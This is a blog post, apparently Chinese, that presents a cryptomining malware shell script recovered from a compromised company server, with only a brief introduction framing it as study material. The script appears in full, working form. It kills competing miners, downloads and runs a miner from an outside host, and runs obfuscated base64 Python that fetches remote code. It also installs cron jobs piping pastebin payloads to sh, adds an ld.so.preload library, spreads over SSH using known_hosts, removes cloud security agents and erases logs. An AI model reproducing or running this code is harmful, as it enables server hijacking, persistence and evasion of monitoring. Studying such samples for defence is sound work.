shell脚本 挖矿病毒脚本分析

2021-06-23 17:29:52 浏览数 (5)

一.简介

本脚本为公司服务器被挖矿，找到的下载矿机的脚本。但看到这么多行，应该是不止是挖矿，还做了别的事情。分析和学习此类脚本，可以防范和解决部分挖矿问题。

二.脚本内容

  1. #!/bin/bash
  2. SHELL=/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  4. function b() {
  5. pkill -f sourplum
  6. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
  7. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  8. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  9. rm -rf /tmp/*index_bak*
  10. rm -rf /tmp/*httpd.conf*
  11. rm -rf /tmp/*httpd.conf
  12. rm -rf /tmp/a7b104c270
  13. pkill -f biosetjenkins
  14. pkill -f AnXqV.yam
  15. pkill -f xmrigDaemon
  16. pkill -f xmrigMiner
  17. pkill -f xmrig
  18. pkill -f Loopback
  19. pkill -f apaceha
  20. pkill -f cryptonight
  21. pkill -f stratum
  22. pkill -f mixnerdx
  23. pkill -f performedl
  24. pkill -f JnKihGjn
  25. pkill -f irqba2anc1
  26. pkill -f irqba5xnc1
  27. pkill -f irqbnc1
  28. pkill -f ir29xc1
  29. pkill -f conns
  30. pkill -f irqbalance
  31. pkill -f crypto-pool
  32. pkill -f minexmr
  33. pkill -f XJnRj
  34. pkill -f NXLAi
  35. pkill -f BI5zj
  36. pkill -f askdljlqw
  37. pkill -f minerd
  38. pkill -f minergate
  39. pkill -f Guard.sh
  40. pkill -f ysaydh
  41. pkill -f bonns
  42. pkill -f donns
  43. pkill -f kxjd
  44. pkill -f Duck.sh
  45. pkill -f bonn.sh
  46. pkill -f conn.sh
  47. pkill -f kworker34
  48. pkill -f kw.sh
  49. pkill -f pro.sh
  50. pkill -f polkitd
  51. pkill -f acpid
  52. pkill -f icb5o
  53. pkill -f nopxi
  54. pkill -f irqbalanc1
  55. pkill -f minerd
  56. pkill -f i586
  57. pkill -f gddr
  58. pkill -f mstxmr
  59. pkill -f ddg.2011
  60. pkill -f wnTKYg
  61. pkill -f deamon
  62. pkill -f disk_genius
  63. pkill -f sourplum
  64. pkill -f bashx
  65. pkill -f bashg
  66. pkill -f bashe
  67. pkill -f bashf
  68. pkill -f bashh
  69. pkill -f XbashY
  70. pkill -f libapache
  71. pkill -f qW3xT.2
  72. pkill -f /usr/bin/.sshd
  73. pkill -f sustes
  74. pkill -f Xbash
  75. rm -rf /var/tmp/j*
  76. rm -rf /tmp/j*
  77. rm -rf /var/tmp/java
  78. rm -rf /tmp/java
  79. rm -rf /var/tmp/java2
  80. rm -rf /tmp/java2
  81. rm -rf /var/tmp/java*
  82. rm -rf /tmp/java*
  83. rm -rf /tmp/httpd.conf
  84. rm -rf /tmp/conn
  85. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  86. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  87. chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
  88. rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
  89. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  90. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  91. chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
  92. rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
  93. chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  94. rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  95. mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
  96. touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  97. chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  98. chattr i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  99. ps auxf|grep -v grep|grep -v "_" |grep -v "kthreadd" |grep "[.*]"|awk '{print $2}'|xargs kill -9
  100. ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
  101. ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
  102. ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
  103. ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
  104. ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
  105. ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
  106. ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
  107. ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
  108. ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
  109. ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
  110. ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
  111. ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
  112. ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
  113. ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
  114. ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
  115. ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
  116. ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
  117. ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
  118. ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
  119. ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
  120. netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  121. netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  122. netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  123. netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  124. netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  125. netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  126. netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  127. netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  128. netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  129. netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  130. netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  131. p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
  132. if [ ${p} -eq 0 ];then
  133. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  134. ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
  135. fi
  136. }
  137. function d() {
  138. ARCH=$(uname -i)
  139. if [ "$ARCH" == "x86_64" ]; then
  140. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1 -O /tmp/kworkerds) && chmod x /tmp/kworkerds
  141. nohup /tmp/kworkerds >/dev/null 2>&1 &
  142. else
  143. mkdir -p /var/tmp
  144. chmod 1777 /var/tmp
  145. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json) && chmod x /var/tmp/config.json
  146. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds) && chmod x /var/tmp/kworkerds
  147. nohup /var/tmp/kworkerds >/dev/null 2>&1 &
  148. fi
  149. }
  150. function e() {
  151. nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
  152. touch /tmp/.38t9guft0055d0565u444gtjr0
  153. }
  154. function c() {
  155. chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
  156. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr i /usr/local/bin/dns
  157. echo -e "SHELL=/bin/shnPATH=/sbin:/bin:/usr/sbin:/usr/binnMAILTO=rootnHOME=/n# run-partsn01 * * * * root run-parts /etc/cron.hourlyn02 4 * * * root run-parts /etc/cron.dailyn0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
  158. echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr i /etc/cron.d/root
  159. echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr i /etc/cron.d/apache
  160. echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr i /var/spool/cron/root
  161. mkdir -p /var/spool/cron/crontabs
  162. echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr i /var/spool/cron/crontabs/root
  163. mkdir -p /etc/cron.hourly
  164. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
  165. mkdir -p /etc/cron.daily
  166. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
  167. mkdir -p /etc/cron.monthly
  168. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
  169. mkdir -p /usr/local/lib/
  170. if [ ! -f "/usr/local/lib/libntpd.so" ]; then
  171. ARCH=$(uname -i)
  172. if [ "$ARCH" == "x86_64" ]; then
  173. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
  174. elif [ "$ARCH" == "i386" ]; then
  175. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
  176. else
  177. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
  178. fi
  179. fi
  180. chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
  181. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  182. for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh' & done
  183. fi
  184. touch -acmr /bin/sh /etc/cron.hourly/oanacroner
  185. touch -acmr /bin/sh /etc/cron.daily/oanacroner
  186. touch -acmr /bin/sh /etc/cron.monthly/oanacroner
  187. }
  188. function a() {
  189. if ps aux | grep -i '[a]liyun'; then
  190. wget http://update.aegis.aliyun.com/download/uninstall.sh
  191. chmod x uninstall.sh
  192. ./uninstall.sh
  193. wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
  194. chmod x quartz_uninstall.sh
  195. ./quartz_uninstall.sh
  196. rm -f uninstall.sh quartz_uninstall.sh
  197. pkill aliyun-service
  198. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  199. rm -rf /usr/local/aegis*;
  200. elif ps aux | grep -i '[y]unjing'; then
  201. /usr/local/qcloud/stargate/admin/uninstall.sh
  202. /usr/local/qcloud/YunJing/uninst.sh
  203. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  204. fi
  205. touch /tmp/.a
  206. }
  207. mkdir -p /tmp
  208. chmod 1777 /tmp
  209. if [ ! -f "/tmp/.a" ]; then
  210. a
  211. fi
  212. b
  213. c
  214. port=$(netstat -an | grep :56415 | wc -l)
  215. if [ ${port} -eq 0 ];then
  216. d
  217. fi
  218. if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
  219. e
  220. fi
  221. echo 0>/var/spool/mail/root
  222. echo 0>/var/log/wtmp
  223. echo 0>/var/log/secure
  224. echo 0>/var/log/cron
  225. #
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